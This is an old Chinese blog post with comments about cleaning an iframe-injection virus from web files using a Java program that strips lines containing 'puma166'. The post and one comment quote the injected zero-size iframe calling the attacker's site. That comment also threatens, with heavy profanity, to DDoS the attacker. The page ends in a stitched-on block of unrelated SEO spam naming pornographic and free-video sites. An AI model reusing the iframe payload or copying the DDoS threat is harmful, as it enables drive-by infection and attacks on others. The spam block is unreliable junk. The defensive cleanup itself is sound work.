<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    lqxue

    常用鏈接

    統(tǒng)計

    book

    tools

    最新評論

    清除文件中含有指定特征字符串(例如puma166)的行。


    最近感染了一個病毒,也說不上是啥毒,反正所有的.html,.htm,.jsp文件一經(jīng)被IE執(zhí)行,它都會在文件的尾部加上一句類似這樣一句代碼“< IFRAME ID=IFrame1 FRAMEBORDER=0 SCROLLING=NO SRC="http://www.puma166.com/...."></ IFRAME > ”;殺毒軟件是不能幫我把它從文件中刪除了,自己寫了一段程序來實現(xiàn)。

    import java.io.BufferedReader;
    import java.io.File;
    import java.io.FileReader;
    import java.io.FileWriter;

    public class Test {
        
    private static String feature = "puma166";// the special string which indicate that we will remove this line 
        private static String filetypes = "#.htm#.html#.jsp#.asp#.aspx#";
        
    public static void moveAntivus(String filename,String feature) throws Exception{
            FileReader fr 
    = new FileReader(filename);
            String tmpFileName 
    = filename+"_tmp";
            BufferedReader br 
    = new BufferedReader(fr);
            String line 
    = "";
            FileWriter fw ;
            
    while ((line=br.readLine()) != null) {
                
    if(line.trim().indexOf(feature)<0){
                    fw 
    = new FileWriter(new File(tmpFileName),true);
                    fw.write(line
    +"\n");
                    fw.close();
                }
            }
            fr.close();
            File file 
    = new File(filename);
            file.delete();
            
    new File(tmpFileName).renameTo(new File(filename));
        }
        
    public static void scanFile(File file){
           if(file.getName().indexOf(".")<0)
                return;
            
    try {
                String ext 
    = file.getName().substring(file.getName().lastIndexOf("."));
                
    if(filetypes.indexOf(ext)>0){
                    moveAntivus(file.getAbsolutePath(),feature);
                    System.out.println(file.getAbsolutePath());
                }
            } 
    catch (Exception e) {
                e.printStackTrace();
            }
        }
        
    public static void scanDir(File dir){
                File[] files 
    = dir.listFiles();
                
    for(int i=0;i<files.length;i++){
                    
    if(files[i].isDirectory()){
                        scanDir(files[i]);
                    }
    else{
                        scanFile(files[i]);
                    }
                }
        }
        
    public static void main(String[] args){
            Test.scanDir(
    new File("C:\\"));//掃描c盤;
        }
    }

    posted on 2007-05-25 10:31 lqx 閱讀(1231) 評論(6)  編輯  收藏

    評論

    # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-05 10:14 cf

    我也中了這個病毒,請問你寫的這個程序應該放程序的什么地方?請回復到我的郵箱好嗎?我的郵箱是:cf244000@163.com.謝謝了,急用  回復  更多評論   

    # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-06 09:34 myself

    這是一段java代碼,你在執(zhí)行前在main方法里填上你要掃描的文件夾或磁盤
    如下:
    public static void main(String[] args){
    Test.scanDir(new File("C:\\"));//掃描c盤;
    Test.scanDir(new File("C:\\a\\"));//掃描c盤的a文件夾;
    }

    編譯通過后,執(zhí)行即可  回復  更多評論   

    # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-06 10:05 cf

    謝謝了  回復  更多評論   

    # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-06 10:32 雨的眼淚

    你好,還是我,我把這段代碼放在我要運行的mian.asp中,這樣可以嗎?將這句代碼“Test.scanDir(new File("C:\\a\\"));//掃描c盤的a文件夾;”換成我網(wǎng)上文件所在的文件。然后將我的文件放到網(wǎng)上,這樣可以嗎?謝謝了
      回復  更多評論   

    #  <iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>太卑鄙了我草他老母[未登錄] 2007-06-27 10:18 過客

    <iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe> 他嗎的這個東西太卑鄙了 竟然給老子掛網(wǎng)馬

    嗎的害的老子好苦啊 草他娘 草他老母啊 日他麻痹啊


    誰告訴我他的真正網(wǎng)站 老子 給他黑了 DDOS他麻痹啊 草呀 你他娘  回復  更多評論   

    # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-09-15 22:56 jackycheng

    我以前是通過dreamweaver 來替換好把它清除了,自己硬盤上網(wǎng)頁太多,又散清楚起來特別的麻煩。今天看到樓主這樣編程殺毒的方法覺得挺不錯的。樓主怎么不把它做成軟件讓大家共享呢?

            回復  更多評論   


    只有注冊用戶登錄后才能發(fā)表評論。


    網(wǎng)站導航:
     
    主站蜘蛛池模板: 麻豆视频免费观看| 18勿入网站免费永久| 久久久久久A亚洲欧洲AV冫| 国产偷国产偷亚洲高清人| 国产一区二区三区在线观看免费| 鲁死你资源站亚洲av| 免费人成无码大片在线观看| 国产亚洲福利精品一区二区 | 在线永久免费的视频草莓| 亚洲精品美女久久久久| 野花高清在线电影观看免费视频| 亚洲国产精品一区二区久| 大地资源免费更新在线播放 | 亚洲中文字幕无码爆乳av中文| 另类图片亚洲校园小说区| 2022中文字字幕久亚洲| 久久国产精品免费观看| 亚洲高清无在码在线无弹窗| 国产成人无码免费看视频软件| 亚洲熟妇AV一区二区三区宅男| 又粗又硬又黄又爽的免费视频| 抽搐一进一出gif免费视频| 亚洲最大福利视频网站| 成人免费网站在线观看| 伊人久久国产免费观看视频| 久久久久无码精品亚洲日韩| 亚洲免费网站观看视频| 一本久久免费视频| 亚洲高清在线播放| 色视频色露露永久免费观看| 成人无码区免费A∨直播| 亚洲网站视频在线观看| 国产伦精品一区二区三区免费迷 | 国产国产人免费视频成69堂| 亚洲欧美成人av在线观看| 久久激情亚洲精品无码?V| 91视频免费网址| 日日躁狠狠躁狠狠爱免费视频| 水蜜桃亚洲一二三四在线| 日韩精品免费一区二区三区| 最近免费中文字幕中文高清|